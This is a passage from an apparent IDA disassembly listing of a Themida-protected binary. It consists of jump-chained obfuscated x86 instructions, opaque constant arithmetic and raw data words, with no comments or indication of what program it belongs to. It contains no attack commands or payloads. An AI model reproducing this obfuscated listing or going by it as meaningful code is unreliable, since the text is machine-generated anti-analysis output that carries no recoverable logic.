CODE XREF: Themida_:0054B731j mov ebx, 5B06CF9Ah sub esi, ebx pop ebx add edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] jmp loc_5562D5 ; --------------------------------------------------------------------------- dd 66C0C380h, 4EC8358h, 81241489h, 4ECh, 241C8900h, 0E951DCB7h dd 0FFFF49BBh, 0C5803EB5h, 66C500CDh, 5DD2E952h db 2 dup(0FFh) word_54E5BE dw 34FFh ; DATA XREF: Themida_:00541AB8o dd 240C8B24h, 4C481h, 0CC680000h, 89000007h, 1EE9240Ch db 6Dh, 2 dup(0FFh) byte_54E5D7 db 66h ; DATA XREF: Themida_:00541A44o dd 40E932FFh, 81FFFF35h, 4ECh, 24348900h, 70E9E954h, 0E95C0000h dd 0FFFFCE45h ; --------------------------------------------------------------------------- loc_54E5F4: ; CODE XREF: Themida_:005486D4j xor edx, 78DE0FC3h add edi, 349A430Dh sub edi, edx sub edi, 349A430Dh pop edx jmp loc_549E22 ; --------------------------------------------------------------------------- dw 0F75Eh dd 0DAEE81DEh, 1D280A1h, 0BA525EF7h, 4, 875AD729h, 895C243Ch dd 74FF243Ch, 8F5F0424h, 96E92404h, 89000027h, 222AE9EAh dd 34FF0000h, 0C4815924h, 4, 0FF34D2E9h, 81E389FFh, 4C3h dd 5FE95000h, 29FFFFD2h, 59CE89F1h, 0FF8DA4E9h, 2B9FFh dd 0BD550000h, 27C36E2Dh, 6919E581h, 0F5817A12h, 6AAE3E6Eh dd 0F707E5C1h, 34C581DDh, 29C1BD5Bh, 0CA015DEAh, 27B4C281h dd 28E96B92h, 81FFFFF3h, 4C4h, 5032E900h, 48B0000h, 0C608E924h dd 515CFFFFh, 0A14861B9h, 64B1E978h, 0E8D0FFFFh, 0FFC7DDE9h dd 19A368FFh, 2C890000h, 53876824h, 0E95D7DD5h, 0FFFF7ADCh dd 5FEB805Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54B9C0 ; --------------------------------------------------------------------------- loc_54E6DC: ; CODE XREF: Themida_:00542065j mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] pop esp mov [esp], ebx not dword ptr [esp] mov ebx, [esp] jmp loc_549DD1 ; --------------------------------------------------------------------------- dw 0F1BBh dd 1795614h, 0DE015BDEh, 14F1EE81h, 15B7956h, 5E042474h dd 4C2815Ah, 81000000h, 4C2h, 24143300h, 0FFDC37E9h, 240C8BFFh dd 2269E9h db 0 ; --------------------------------------------------------------------------- loc_54E729: ; CODE XREF: Themida_:00550784j pop dword ptr [edi+40h] push dword ptr [esp] jmp loc_547E50 ; --------------------------------------------------------------------------- dd 4EA814Ah, 1005DA9h, 0C6835AD6h, 24348702h, 0C024248Bh dd 1AE907E1h, 5FFFF76h, 700249E8h, 0E82DC829h, 0E9700249h dd 0FFFFDA8Fh ; --------------------------------------------------------------------------- loc_54E760: ; CODE XREF: Themida_:00547601j sub ecx, 476B1E3Fh add ecx, ebp add ecx, 476B1E3Fh pop ebp add ecx, 4 xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] jmp loc_548975 ; --------------------------------------------------------------------------- dw 1B8h dd 0E9000000h, 0FFFFA335h, 0E904EC83h, 1210h, 9183B12Dh dd 58C30194h, 0FF4B0DE9h, 6A0A0DFFh, 360D192Dh, 0E93E3F53h dd 0FFFF91DDh, 0FF21D9BDh, 246C8124h, 44AC104h, 246C0170h dd 0C39CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E7CA: ; CODE XREF: Themida_:0054ED63j xor eax, 4B4B77A1h mov ebp, eax pop eax push 1FA8DFDCh pop esi push 13A2h mov [esp], edi jmp loc_5471F5 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4B8h, 0A6A7E900h, 5A54FFFFh, 77C568h, 241C8900h, 0FF8136E9h dd 5AD001FFh, 3122E9h db 0 byte_54E809 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00541944o aHm db '$hŒ]',0 align 2 dw 1489h dd 4EC8324h, 83242489h, 0E9042404h, 364Ch ; --------------------------------------------------------------------------- loc_54E824: ; CODE XREF: Themida_:0054C715j xchg ebp, [esp] mov esp, [esp] add eax, 78AD43C9h push 1F4Dh mov [esp], edi push eax mov eax, 7DE0164Fh inc eax dec eax add eax, 0F0854050h mov edi, eax pop eax jmp loc_54221A ; --------------------------------------------------------------------------- dd 315DE831h, 24048BC3h, 4C481h, 0BE560000h, 0E17E89AEh dd 315EF329h, 3B7AE9D9h, 0EB810000h, 3B566597h, 1CF7535Ah dd 0B8505B24h, 1D3B0995h, 0FFA970E9h, 243C33FFh, 0FF4437E9h dd 86CB81FFh, 687DB13Ah, 1743h, 0BE243489h, 62D5388Dh dd 0DEF7D6F7h, 0E6C1D6F7h, 0C6814608h, 0D5388EFFh, 0FFD479E9h dd 2EC81FFh, 66000000h, 0B0240489h, 66C62830h, 24B15158h dd 0E96BF180h, 0FFFF342Ch ; --------------------------------------------------------------------------- loc_54E8CC: ; CODE XREF: Themida_:00544098j xor eax, 72C5EC1h push 7E10h mov [esp], ecx jmp loc_54FD35 ; --------------------------------------------------------------------------- loc_54E8DE: ; CODE XREF: Themida_:0054F473j push edi jmp loc_54DC4D ; --------------------------------------------------------------------------- dword_54E8E4 dd 5124048Bh, 0FF6FF2E9h, 0F38853FFh, 88DE8852h, 0D05FE9F0h ; DATA XREF: Themida_:005418ECo db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8FA: ; CODE XREF: Themida_:00546C7Fj mov edx, ebp pop ebp not edx not edx jmp loc_545A8E ; --------------------------------------------------------------------------- dw 0C201h dd 8324048Bh, 0EA8104C4h, 4D2AEC9Bh, 468DE9h, 4C48300h dd 6C2268h, 242C8900h, 1177BA52h, 0F2817094h, 1E33B35h dd 0FFAD39E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E935: ; CODE XREF: Themida_:00546E43j mov edx, [esp] add esp, 4 jmp loc_54F7B6 ; --------------------------------------------------------------------------- loc_54E940: ; CODE XREF: Themida_:00551899j add esp, 4 xor eax, esi pop esi push esi mov esi, 731556C6h push 69D8h mov [esp], ebp push ecx push 18031E80h pop ecx push edi jmp loc_54F019 ; --------------------------------------------------------------------------- dd 24148B66h, 5E3EE9h, 9ABA5200h, 81026C40h, 8202E8CAh dd 0EBF28163h, 81109628h, 0F65C73E2h, 0C888E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E98A: ; CODE XREF: Themida_:00553EA6j xchg edx, [esp] mov esp, [esp] imul cx, ax jmp loc_54AFA2 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd offset dword_4368C0+129h dd 0EFED8100h, 685C8317h, 3C00h, 0BF243C89h, 3A677F2Ch dd 0FFE914E9h, 447368FFh, 1C890000h, 6EDBE924h, 0B850FFFFh dd 1ADC504Bh, 0FF4719E9h db 0FFh byte_54E9D1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00541A6Co dd 1858669Dh, 0E99C2404h, 0FFFF313Fh, 0F84CED68h, 0ED815D29h dd 0DE2C2DFBh, 2C8BE989h, 4C48324h, 0C7E9CB89h, 1FFFF59h dd 7C65E9EBh, 2A05FFFFh, 0E93C3976h, 6320h, 0FF243C89h dd 0F75F240Ch, 0A17BE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA1A: ; CODE XREF: Themida_:0054DE6Ej mov [esp], esi mov esi, 79180311h push ebp jmp loc_5550D2 ; --------------------------------------------------------------------------- dd 4C481h, 0C2810000h, 9F01840h, 73E9815Dh, 11CC443h, 73C181D1h dd 0E91CC443h, 141Bh ; --------------------------------------------------------------------------- loc_54EA48: ; CODE XREF: Themida_:00541E69j sub edi, 4 xchg edi, [esp] jmp loc_555684 ; --------------------------------------------------------------------------- loc_54EA53: ; CODE XREF: Themida_:0054B63Dj pop ebx push edx mov edx, 24h jmp loc_551D3F ; --------------------------------------------------------------------------- db 29h dd 0F2E95BD9h, 29FFFF5Eh, 7EED81F5h, 5E362D56h, 774DE9h dd 24048F00h, 182268h, 240C8900h, 8904EC83h, 4B82404h dd 89000000h, 20E958C1h, 81FFFFC0h, 4C6h, 3602E900h, 0A6B90000h dd 0D1574572h, 2E1C1E9h, 5D586849h, 1C890000h, 4212E924h dd 248BFFFFh, 7B1CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EABE: ; CODE XREF: Themida_:005470D5j pop edx mov edx, edi pop edi jmp loc_5440D3 ; --------------------------------------------------------------------------- loc_54EAC7: ; CODE XREF: Themida_:00548D85j mov [esp], edx jmp loc_546C72 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 3C8BFA29h, 0E7895724h, 0FF4941E9h, 3EAC1FFh dd 2F43BB53h, 0E6E919A9h, 81FFFFCDh, 0AA074EEEh, 44EE810Eh dd 81618F58h, 0D65D1AF6h, 0E9EED12Dh, 4380h ; --------------------------------------------------------------------------- loc_54EB0C: ; CODE XREF: Themida_:0054BC2Dj sub ebx, 43B76F48h jmp loc_549BD7 ; --------------------------------------------------------------------------- loc_54EB17: ; CODE XREF: Themida_:00542F66j add esp, 4 push ecx mov ecx, 65D63E45h and ecx, 5BFC26C4h not ecx inc ecx jmp loc_54D4B5 ; --------------------------------------------------------------------------- db 66h, 51h, 52h dd 0C68076B6h, 0F0E680A8h, 0D0DEEE80h, 76C680E6h, 0E95AF188h dd 377Dh, 6D155ABAh, 5AD6291Eh, 68h, 24342900h, 0FFFAADE9h dd 0F8285BFFh, 84E9CA2Ch, 5B000056h, 0FF5412E9h, 6698BBFFh dd 5953410Ch, 0B005E95Bh, 5B66FFFFh, 0F660E980h, 0C0C1FED1h dd 536603E1h, 7B0BE9h, 4BE5600h, 1000000h, 0C1835EF1h dd 2F2EE902h, 0E1890000h, 0FFAD8AE9h, 4C483FFh, 0E959CB29h dd 60C5h, 0CD7079BBh, 81DBF711h, 24AF4DC3h, 0DE89562Bh dd 5B5EF589h, 915C822Dh, 37FD2D34h, 0E8295746h, 7E13E9h dd 4C28300h, 5C241487h, 5C240487h, 0E99CC138h, 0FFFF2F33h ; --------------------------------------------------------------------------- loc_54EBEC: ; CODE XREF: Themida_:0054B886j sub ecx, ebp jmp loc_542442 ; --------------------------------------------------------------------------- byte_54EBF3 db 66h ; DATA XREF: Themida_:005418ACo dd 81240C8Bh, 4ECh, 8312E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC02: ; CODE XREF: Themida_:0055413Aj mov eax, esp push ecx mov ecx, 4 jmp loc_54C8D5 ; --------------------------------------------------------------------------- db 1 dd 28BD55C1h, 810D520Bh, 4A5C74C1h, 64E98101h, 139CD6Fh dd 64C181E9h, 5239CD6Fh, 206B6BBAh, 0EAD14A48h, 227EEA81h dd 0EAC12DE8h, 6C36E903h db 2 dup(0) word_54EC42 dw 248Bh ; DATA XREF: Themida_:0054193Co dd 2ED5E924h, 8158FFFFh, 0CFB127C7h, 8BF831F4h, 0ADE9243Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EC5B: ; CODE XREF: Themida_:00547EACj mov [esp], ecx mov ecx, 2C8308D1h add ecx, 5D4F350Eh inc ecx neg ecx push ebx jmp loc_54E22D ; --------------------------------------------------------------------------- loc_54EC72: ; CODE XREF: Themida_:0055279Ej shr esi, 2 jmp loc_5542C8 ; --------------------------------------------------------------------------- loc_54EC7A: ; CODE XREF: Themida_:00544ADEj add eax, 0DD47E0F8h add edx, eax jmp loc_548C9F ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0E9387788h, 0FFFFB2F7h, 2561685Eh, 2C890000h dd 4EC8324h, 68243489h, 53E042EEh, 0FFAB04E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ECAD: ; CODE XREF: Themida_:00546EEDj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_54C327 ; --------------------------------------------------------------------------- loc_54ECC1: ; CODE XREF: Themida_:0055460Ej add edx, 4 jmp loc_544311 ; --------------------------------------------------------------------------- dd 68241C89h, 56C3h, 0B9240C89h, 20AA41D7h, 2551E181h dd 72E91686h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ECE7: ; CODE XREF: Themida_:00553260j pop ebx jmp loc_54636A ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 0FFFF3D30h ; --------------------------------------------------------------------------- loc_54ECF8: ; CODE XREF: Themida_:005512CFj sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx push ecx mov ch, al mov dh, ch pop ecx push eax mov al, dh jmp loc_5487C5 ; --------------------------------------------------------------------------- db 51h, 0E9h, 5Ch db 0Ch, 2 dup(0) byte_54ED1B db 66h ; DATA XREF: Themida_:005419E0o dd 6824048Bh, 152Bh, 0E9242C89h, 5113h, 2AE95E54h, 68000069h dd 2A3Bh, 51240489h, 99714A68h, 1216E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED46: ; CODE XREF: Themida_:0054BB35j pop esp push 717Fh mov [esp], esi push ebp push eax push 49DC078Eh pop eax and eax, 5A874AA5h not eax and eax, 4CD71AAFh jmp loc_54E7CA ; --------------------------------------------------------------------------- dd 0E95EF587h, 0FFFF938Dh, 6E67BE56h, 81564AC3h, 1FF32404h dd 0E959601Ch, 417Ch, 2434895Ch, 22B2E9h, 24048B00h, 2D04C483h dd 18542985h, 24348150h, 479F5A82h, 82F3815Bh, 0E9479F5Ah dd 45C0h, 51243C89h, 0A28C4B9h, 244C3170h, 34FF5904h, 241C8B24h dd 0FFB4BAE9h, 0E68956FFh, 4C681h, 0C6830000h, 24348704h dd 0C0B60F5Ch, 579E9h, 0AEE98100h, 0E933E469h, 0FFFF73ACh dd 4240483h, 0E9242C8Bh, 0FFFF73CFh, 0E95DE901h, 45C9h dd 50E28952h, 0FF3546E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE05: ; CODE XREF: Themida_:0054CB3Ej jz loc_551FFF push dword ptr [edi+1Ch] mov ecx, [esp] push eax push esp pop eax add eax, 4 push ecx jmp loc_546A6B ; --------------------------------------------------------------------------- db 81h dd 4C7h, 0BB535200h, 63D90AC8h, 4B03E3C1h, 0FFD5D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE35: ; CODE XREF: Themida_:0054929Bj push eax jmp loc_553E2D ; --------------------------------------------------------------------------- db 81h dd 0F9276ECEh, 0EBF68145h, 0E955F967h, 0FFFF8A6Fh, 2603405h dd 2DC82963h, 63026034h, 0B1307A05h, 49E9594Dh, 0D00007Ah dd 6AF47A8Eh, 24DEEC35h, 58C1898Ch, 0D3ABE951h, 0D8F7FFFFh dd 0ED7A8D2Dh, 0F916E916h, 0B252FFFFh, 80D2F647h, 0CA8008F2h dd 30F28011h, 0FF369DE9h, 0FBBB53FFh, 8141E551h, 0C62D64CBh dd 3572E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EEA6: ; CODE XREF: Themida_:00552868j sub ebx, 6BF0756Dh jmp loc_54AEAD ; --------------------------------------------------------------------------- db 68h, 0F9h, 24h dd 2C890000h, 0B8C5E924h, 0F1BFFFFFh, 0E94D733Bh, 0FFFFDEC7h dd 0FF2C52E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EECD: ; CODE XREF: Themida_:0054DEF5j add ecx, 4 jmp loc_5423A8 ; --------------------------------------------------------------------------- loc_54EED8: ; CODE XREF: Themida_:0054D6F3j or ecx, 4E9F794Ch neg ecx jmp loc_54FF3A ; --------------------------------------------------------------------------- db 68h, 3Eh, 7Dh dd 3C890000h, 8816E924h, 0CF87FFFFh, 0F7CF8749h, 68D7h dd 3C290000h, 469EE924h, 1C8B0000h, 4C48124h, 0E9000000h dd 0F02h, 0BF243C89h, 188472A3h, 91E95355h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF23: ; CODE XREF: Themida_:00545D95j add ebp, 0C3112A12h sub eax, ebp jmp loc_5461F6 ; --------------------------------------------------------------------------- dd 30C9BF57h, 0EF812A11h, 26DB23E5h, 4EC81h, 4890000h dd 4A506824h, 14890000h, 63C6BA24h, 0EA831D0Ch, 73EA8101h dd 8122A808h, 0FFFFFFC2h, 9BB2E9FFh db 2 dup(0FFh) word_54EF66 dw 248Bh ; DATA XREF: Themida_:00541AA4o dd 2BB1E924h, 548FFFFh, 7524FF1Fh, 0FFCC0FE9h, 0C70159FFh dd 243C3358h, 33243C31h, 248B243Ch, 2B91E924h, 0F280FFFFh dd 43F0E938h db 2 dup(0) word_54EF96 dw 8B66h ; DATA XREF: Themida_:00541890o dd 0B7682404h, 89000072h, 0EC83240Ch, 0F087E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFAA: ; CODE XREF: Themida_:0054657Dj mov esp, [esp] sub esp, 4 mov [esp], ebp jmp loc_54338F ; --------------------------------------------------------------------------- loc_54EFB8: ; CODE XREF: Themida_:00552734j not edi sub edi, 0E72F9660h add ebp, edi jmp loc_54AA70 ; --------------------------------------------------------------------------- db 5Fh dd 81E18951h, 4C1h, 4BE5600h, 81000000h, 0A0876C1h, 81F10139h dd 0A0876E9h, 0FF515E39h, 8B042474h, 0C481240Ch, 4, 8B24048Fh dd 0C7812424h, 4, 5704EF83h, 42474FFh, 6FD9E9h, 241C8700h dd 241C895Ch, 4633E9h db 0 ; --------------------------------------------------------------------------- loc_54F019: ; CODE XREF: Themida_:0054E95Fj push 2B1D4E4Ch pop edi or edi, 79334486h sub edi, 0FFFFFFFFh jmp loc_550FF4 ; --------------------------------------------------------------------------- dd 30E0EA81h, 0E2C12B2Ah, 0EAC14A05h, 80E28102h, 8132384Fh dd 3941FCF2h, 2454010Dh, 2C815A04h, 0FF21D924h, 24040124h dd 0F756E955h, 0C481FFFFh, 4, 8324048Bh, 510504C4h, 0FF605A1Ah dd 348B2434h, 4C48124h, 83000000h, 9CE904C4h db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F083: ; CODE XREF: Themida_:005506D9j add ebx, esi pop esi jmp loc_54DE5B ; --------------------------------------------------------------------------- db 89h dd 99BA2414h, 8179CE77h, 8212E0F2h, 0CEC2815Bh, 8133532Eh dd 0AC680AEAh, 4E2C146h, 6F1EE281h, 0F2817357h, 5E4A5128h dd 2DE9D329h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F0BB: ; CODE XREF: Themida_:0054678Dj pop dword ptr [esp] pop esp push 804h mov [esp], ecx jmp loc_543A4A ; --------------------------------------------------------------------------- dword_54F0CC dd 8B2434FFh, 83532404h, 0BE904ECh, 51FFFFE8h, 0E888D588h ; DATA XREF: Themida_:0054198Co dd 24148B59h, 21D2E9h db 0 ; --------------------------------------------------------------------------- loc_54F0E9: ; CODE XREF: Themida_:0054CF4Ej mov edx, 4 add esi, edx pop edx sub esp, 4 mov [esp], edi mov edi, 4 add esi, 5E866AC4h sub esi, edi sub esi, 5E866AC4h mov edi, [esp] add esp, 4 xchg esi, [esp] pop esp mov [esp], ebp push ecx push 2E2A204Bh pop ecx add ecx, 5E4D28A8h sub ecx, 0FFFFFFFFh shl ecx, 3 add ecx, 9C45B861h mov ebp, ecx jmp loc_551CD3 ; --------------------------------------------------------------------------- db 68h, 79h, 60h dd 0F8E90000h, 0C1FFFF93h, 0E18106E9h, 38F81986h, 0FFE71BE9h dd 4EC81FFh, 0E9000000h, 45DFh, 0E9242C89h, 71C4h ; --------------------------------------------------------------------------- loc_54F168: ; CODE XREF: Themida_:0054C9B2j add edi, ebp pop ebp add edi, 4 xchg edi, [esp] pop esp push 6A4Eh mov [esp], ebp push esi jmp loc_543DB1 ; --------------------------------------------------------------------------- loc_54F183: ; CODE XREF: Themida_:0054FC3Ej mov eax, 4 add edi, eax push dword ptr [esp] pop eax add esp, 4 xchg edi, [esp] pop esp jmp loc_554D9C ; --------------------------------------------------------------------------- dw 48Bh dd 6779E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F1A2: ; CODE XREF: Themida_:0054A183j mov ebx, 0A4B5C5DAh sub edi, ebx pop ebx jmp loc_54D523 ; --------------------------------------------------------------------------- db 5Eh dd 34FFEA01h, 0C4815D24h, 4, 0FF3A89E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F1C1: ; CODE XREF: Themida_:00547CE4j add esp, 4 add esp, 4 or eax, eax jz loc_549279 push dword ptr [edi+28h] jmp loc_542539 ; --------------------------------------------------------------------------- loc_54F1DA: ; CODE XREF: Themida_:00556125j sub ebx, 3F45552Fh sub ebx, 198724C7h jmp loc_54E0D5 ; --------------------------------------------------------------------------- db 81h dd 844BD9EDh, 81D5291Ah, 844BD9C5h, 24148B1Ah, 0FF3BBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F201: ; CODE XREF: Themida_:00545D64j mov [esp], edi mov edi, 20000h and eax, edi push dword ptr [esp] jmp loc_546311 ; --------------------------------------------------------------------------- db 2Dh dd 7A0F2FADh, 0FF52C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F21D: ; CODE XREF: Themida_:0054FA49j pop esp add ebp, edx pop edx xchg ebp, [esp] pop esp push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_547E42 ; --------------------------------------------------------------------------- loc_54F23A: ; CODE XREF: Themida_:0054221Fj sub [esp], edi pop edi xchg ecx, edi jmp loc_543DC4 ; --------------------------------------------------------------------------- db 68h, 0E3h, 2 dd 2C8B2791h, 4C48324h, 5AE9E821h, 0E9FFFF2Dh, 0FFFF28C3h dd 8124148Bh, 4C4h, 7E054000h, 0E92A9F1Dh, 0FFFF744Ah ; --------------------------------------------------------------------------- loc_54F270: ; CODE XREF: Themida_:005504D4j mov [esp], ebp mov ebp, eax mov edi, ebp jmp loc_541C8E ; --------------------------------------------------------------------------- dd 4C281h, 0EA830000h, 24148704h, 8924248Bh, 8B54243Ch dd 0C481243Ch, 4, 4C781h, 0C7830000h, 243C8704h, 0E9D0315Ch dd 0FFFF76B3h, 0C681E689h, 4, 4EE81h, 34870000h, 0C895C24h dd 0EA50E924h, 0C781FFFFh, 4, 4EF81h, 3C870000h, 34895C24h dd 0BDD6824h, 555E25FBh, 730BC9BDh, 6122E925h, 248BFFFFh dd 24048F24h, 0E924248Bh, 21FAh, 0E7814F5Bh, 23F92197h dd 0E4BBF781h, 0F8316F32h, 0A1EF815Fh, 14DD340h, 0A1C781C7h dd 0FF4DD340h, 81582434h, 4C4h, 5E7C100h, 6B24C781h, 0FA013971h dd 81243C8Bh, 4C4h, 438E6800h, 34890000h, 2BE24h, 0F2010000h dd 74FF525Eh, 8F5A0424h, 248B2404h, 5D44E924h, 48F0000h dd 27C1E987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F35E: ; CODE XREF: Themida_:00541E09j pop small word ptr [esp] mov dx, [esp] jmp loc_54ABA0 ; --------------------------------------------------------------------------- loc_54F36B: ; CODE XREF: Themida_:00555246j xchg ecx, esi jmp loc_54C7CA ; --------------------------------------------------------------------------- loc_54F372: ; CODE XREF: Themida_:00543555j push esi mov esi, 28E7D02h sub eax, 538D612Eh jmp loc_54C231 ; --------------------------------------------------------------------------- dw 4B9h dd 29000000h, 4243E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F38E: ; CODE XREF: Themida_:00552130j add edx, 7304F9Ah add ecx, edx jmp loc_550EE9 ; --------------------------------------------------------------------------- db 2Ch dd 58C30061h, 80DCEB80h, 0C300FDEBh, 2EC81h, 2BE90000h dd 81000057h, 4C4h, 24148700h, 241C895Ch, 63A3BA52h, 5B525C36h dd 0DBBA525Ah, 81402423h, 566597C3h, 0E9D3293Bh, 0FFFFF48Eh ; --------------------------------------------------------------------------- loc_54F3DC: ; CODE XREF: Themida_:005530C1j mov ecx, 58B643AEh sub eax, ecx jmp loc_543A60 ; --------------------------------------------------------------------------- dd 4C281h, 14870000h, 0A79CE924h, 0C181FFFFh, 4, 64EF68h dd 1120E900h, 0E9580000h, 5105h, 0AC13EE81h, 8156F77Ah dd 3067242Ch, 815A0182h, 823067C2h, 54295E01h, 15A0824h dd 81042454h, 0D7042444h, 8B52217Fh, 0C4832414h, 24148B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_554D53 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFF621Fh ; --------------------------------------------------------------------------- loc_54F450: ; CODE XREF: Themida_:00549A91j sub ebx, 3EF901FFh dec ebx xor ebx, 0EE6C36ECh and ecx, ebx jmp loc_5486F8 ; --------------------------------------------------------------------------- dd 2CE6852h, 0E95A3EBBh, 0FFFF92DEh ; --------------------------------------------------------------------------- loc_54F470: ; CODE XREF: Themida_:00547DC2j sub edx, eax pop eax jmp loc_54E8DE ; --------------------------------------------------------------------------- dd 4C0835Ah, 0E9240433h, 0FFFFD166h ; --------------------------------------------------------------------------- loc_54F484: ; CODE XREF: Themida_:0054205Fj xchg ecx, [esp] mov esp, [esp] jmp loc_541B1F ; --------------------------------------------------------------------------- db 5Bh dd 4C381h, 0E9500000h, 0FFFFAFF2h, 0C0E7E953h, 0E959FFFFh dd 0FFFFF63Dh, 5C24048Fh, 0E5B05053h, 0FF6B6DE9h, 4E983FFh dd 5C240C87h, 0BE243489h, 4BAE049Eh, 0E6C1DEF7h, 0F2B85003h dd 15D7024h, 0F38958C6h, 8BD9015Eh, 0D7E9241Ch, 5EFFFFCFh dd 5C24048Fh, 24148966h, 0A8E94EB2h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F4EF: ; CODE XREF: Themida_:0054A747j pop ebx jmp loc_547CD3 ; --------------------------------------------------------------------------- aUskz db '^UéªZ',0 align 4 loc_54F4FC: ; CODE XREF: Themida_:00550AC8j mov ebx, 0CF8656D0h add ebx, eax pop eax sub esi, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_55197B ; --------------------------------------------------------------------------- loc_54F517: ; CODE XREF: Themida_:00543421j sub esp, 2 mov [esp], dx jmp loc_553100 ; --------------------------------------------------------------------------- loc_54F526: ; CODE XREF: Themida_:00553B8Aj mov edx, [esp] add esp, 4 push ebp jmp loc_54B642 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 5CBBh, 0E9240C89h, 0FFFF6877h ; --------------------------------------------------------------------------- loc_54F548: ; CODE XREF: Themida_:00553786j pop ecx add esp, 4 xor [esp+4], ecx pop ecx push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ebx push 7C580C43h jmp loc_543B9B ; --------------------------------------------------------------------------- loc_54F56B: ; CODE XREF: Themida_:00544618j push 6C6Ah jmp loc_545CD3 ; --------------------------------------------------------------------------- byte_54F575 db 64h, 8Fh, 2 ; DATA XREF: Themida_:00541854o dd 0FF7BBBE9h, 553B68FFh, 815F55AAh, 5302A0EFh, 1CC78116h dd 533AE330h, 4C3769BBh, 5BDF292Bh, 66C5BA52h, 0A1E910C0h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F5A3: ; CODE XREF: Themida_:00541B2Ej sub ebp, 68676C6h sub ebp, esi add ebp, 68676C6h xchg ebp, esi pop ebp push eax jmp loc_551BFC ; --------------------------------------------------------------------------- dw 34FFh dd 409BE924h, 4481FFFFh, 20440424h, 442971EDh, 6C810424h dd 20440424h, 0E95871EDh, 0FFFF2543h ; --------------------------------------------------------------------------- loc_54F5DC: ; CODE XREF: Themida_:00552393j pop eax add esp, 4 jmp loc_5560E7 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 24048F00h, 4A30F5Ch, 20E99C24h, 52FFFF25h dd 0FC6294BAh, 81E2D157h, 0E0AA9EF2h, 5AD329F4h, 31DD3158h dd 0C1DD31EBh, 0E5D102EDh, 4C24F581h, 0E8017CC2h, 0E92434FFh dd 5688h, 5658C701h, 0FF7834E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F635: ; CODE XREF: Themida_:0055333Ej pop eax and al, bl mov bx, [esp] push ecx mov ecx, esp add ecx, 4 push 3ECBh mov [esp], eax mov eax, 2 jmp loc_541D22 ; --------------------------------------------------------------------------- db 83h dd 0C4FE04C4h, 0FFEB7AE9h, 7B2D5CFFh, 2D27F365h, 76B7682Ah dd 5FE9F001h, 51FFFFACh, 0C181E189h, 4, 8704E983h, 0C6E9240Ch dd 81000023h, 4C7h, 243C8700h, 0FE4685Ch, 3C890000h, 1686824h dd 8F540000h, 0BA522404h, 4, 4245401h, 0B8505F5Ah, 4, 48BC701h dd 4C48324h, 6A8568h, 5C14E900h, 0C890000h, 0EBE95024h dd 66FFFF64h, 561D9C05h, 0BB53E689h, 4, 0FF2C0EE9h, 56E789FFh dd 782A61BEh, 0E6C14615h, 0EEEE8107h, 8138E71Ch, 0D1EBF2C6h dd 5EF7017Ch, 8704EF83h, 248B243Ch, 24148924h, 0FF3187E9h dd 2BB850FFh, 2D061F39h, 0E9D8D155h, 0FF5664E9h, 65EA81FFh dd 0E9B45739h, 0FFFF4675h ; --------------------------------------------------------------------------- loc_54F728: ; CODE XREF: Themida_:00541FACj sub ebx, 0ECA1A7C9h add edi, ebx pop ebx xchg edi, [esp] pop esp xor ebx, eax sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_54269B ; --------------------------------------------------------------------------- dd 0FE6BB551h, 0F8C580C5h, 0F603EDC0h, 27ED80D5h, 15F580h dd 600459E8h, 240C8B66h, 2C481h, 0C3300000h, 0FFE777E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F775: ; CODE XREF: Themida_:0054DFBCj sub [esp+4], edi push edx mov edx, 4F2B0A0Ch add [esp+8], edx pop edx pop edi pop edx push edi mov edi, 64EC3C47h inc edi and edi, 3C6B21ECh sub edi, 5B551515h push 